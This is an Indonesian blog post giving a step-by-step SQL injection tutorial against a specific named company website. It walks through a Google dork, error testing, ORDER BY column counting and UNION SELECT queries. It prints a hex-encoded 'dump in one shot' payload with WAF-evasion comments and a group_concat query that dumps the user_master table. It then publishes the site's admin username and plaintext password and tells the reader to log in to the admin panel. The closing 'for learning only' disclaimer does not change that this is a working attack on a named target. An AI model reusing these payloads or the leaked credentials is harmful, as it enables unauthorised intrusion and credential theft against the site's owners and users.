cara sql injection dump in one shoot
apa itu sql injection?
sql injection adalah serangan injeksi yang dilakukan para attacker
untuk mendapatkan sebuah file sensitif, biasanya untuk mencari username
dan password admin login
bagaimana cara kerjanya? ikuti saya
pertama attacker dork terlebih dahulu dork yang biasa dipakai yaitu
inurl:php?id= site:com
nah itu adalah example saja. disini saya menggunakan contoh
website https://maimunainternational.com
sql injection harus mencari parameter nya terlebih dahulu untuk
mengeksekusi web nya dengan cara? php?id=
misal https://maimunainternational.com php?id= nah pasti akan mencul banyak jika ada parameternya
disini saya mendapatkan https://maimunainternational.com/productdetail.php?id=5
nb: paramter itu seperti angka contohnya web diatas mempunyai paramter
5
bagaimana cara mengeksekusinya?
- pertama tama kita harus mengecek terlebih dahulu web tersebut vuln sql
injection atau tidak, caranya adalah menambahkan sebuah quot petik 1 atau
(') di bagian parameter
nah jika error biasanya ada sebuah warning "your have in sql sytax"
ada banyak macam error
1. "gambar hilang"
2. "blank putih"
2. "blank putih"
3. "ke redirect"
4. "gambar rusak"
nah sekarang kita akan mengeksekusi web nya
https://maimunainternational.com/productdetail.php?id=5'
nah kebetulan web ini kalo error gambarnya hilang, sekarang kita lanjut
dengan balancing, untuk mengecek apakah membutuhkan quot ' atau tidak dengan
cara --+- contoh
https://maimunainternational.com/productdetail.php?id=5'--+-
nah jika kembali normal berarti webnya membutuhkan qout ' jika tidak
kembali normal maka tidak membutuhkan quot ' pahamkan? semoga paham
:v
sekarang kita ke tahap selanjutnya yaitu mencari column dari web tersebut
menggunakan order by contoh
https://maimunainternational.com/productdetail.php?id=5' order by 1--+- normal
https://maimunainternational.com/productdetail.php?id=5' order by 2--+- normal
https://maimunainternational.com/productdetail.php?id=5' order by 3--+- normal
https://maimunainternational.com/productdetail.php?id=5' order by 4--+- normal
https://maimunainternational.com/productdetail.php?id=5' order by 5--+- normal
https://maimunainternational.com/productdetail.php?id=5' order by 6--+- ERROR
Nah errornya berada di angka 6 maka column nya berada di angka
5.
sekarang kita ketahap mencari angka ajaibnya dengan cara
union select
contoh
https://maimunainternational.com/productdetail.php?id=-5' union select
1,2,3,4,5--+-
jangan lupa kasih tanda - didepan parameter seperti contoh diatas,
agar apa? agar memunculkan angka ajain tersebut
nah saya mendapatkan 2 angka ajaib yaitu 3 dan 5
nah karena ada 2 angka ajaib disini saya memilih angka 5 untuk menaruh dios
nya
bang diosnya mana?
concat/**/(0x3c696d67207372633d2068747470733a2f2f622e746f7034746f702e696f2f705f313732306e70717763302e706e672032306865696768743d203233303070782077696474683d203230307078203c63656e7465723e203c68343e496e6a65637420427920486962696b693c2f68343e,0x55534552,0x3c2f623e,0x3c2f666f6e743e,0x3a3a,0x3c666f6e7420636f6c6f723d677265656e3e,current_user,0x3c2f666f6e743e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c75653e,0x3c623e,0x56455253494f4e,0x3c2f623e,0x3c2f666f6e743e,0x3a3a,0x3c666f6e7420636f6c6f723d677265656e3e,version(),0x3c2f666f6e743e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c75653e,0x3c623e,0x4441544142415345,0x3c2f623e,0x3c2f666f6e743e,0x3a3a,0x3c666f6e7420636f6c6f723d677265656e3e,database/*data*//**8**/(),0x3c2f666f6e743e,0x3c62723e,0x3c62723e,(select(@x)/*!50000from/**8**/*/(/*!50000select/**8**/*/(@x:=0x00),(select(0)/*!From/**8**/*/(/*!50000information_schema.columns/**8**/*/)/*!50000where/**8**/*/(table_schema=database/*data*//****/())and(0x00)in(@x:=/*!50000coNcat/**8**/*/(@x,0x3c6c693e,/*!50000table_name/**8**/*/,0x203a3a3a3a20,/*!50000column_name/**8**/*/))))x))
tuh pake dios itu udh ada waff nya jadi sans hehehe
misal tablenya adalah user_master terus column nya username dan password
kita tinggal dump saja, dios tadi kita hapus seperti ini https://maimunainternational.com/productdetail.php?id=-5' union select
1,2,3,4,5--+-
nah sekarang kita mulai dumpnya, angka ajaib ada 2 nih 3 dan 5 pilih
salah satu kalo aku milih 5 hehe
dios untuk dump
grOUp_ConCat(/*!username*/,0x3e,/*!password*/)
https://maimunainternational.com/productdetail.php?id=-5' union select
1,2,3,4,grOUp_ConCat(/*!username*/,0x3e,/*!password*/) from
user_master--+-
nah seperti itu ya cuy table tadi kasih belakang terus
from user_master nanti akan muncul username dan password
nya
username: maimuna
password : braizokowaz
tinggal login deh ke halam admin
sekian dari saya hibiki semoga membatu kalian
nb: untuk pembelajaran saja :'
Komentar
Posting Komentar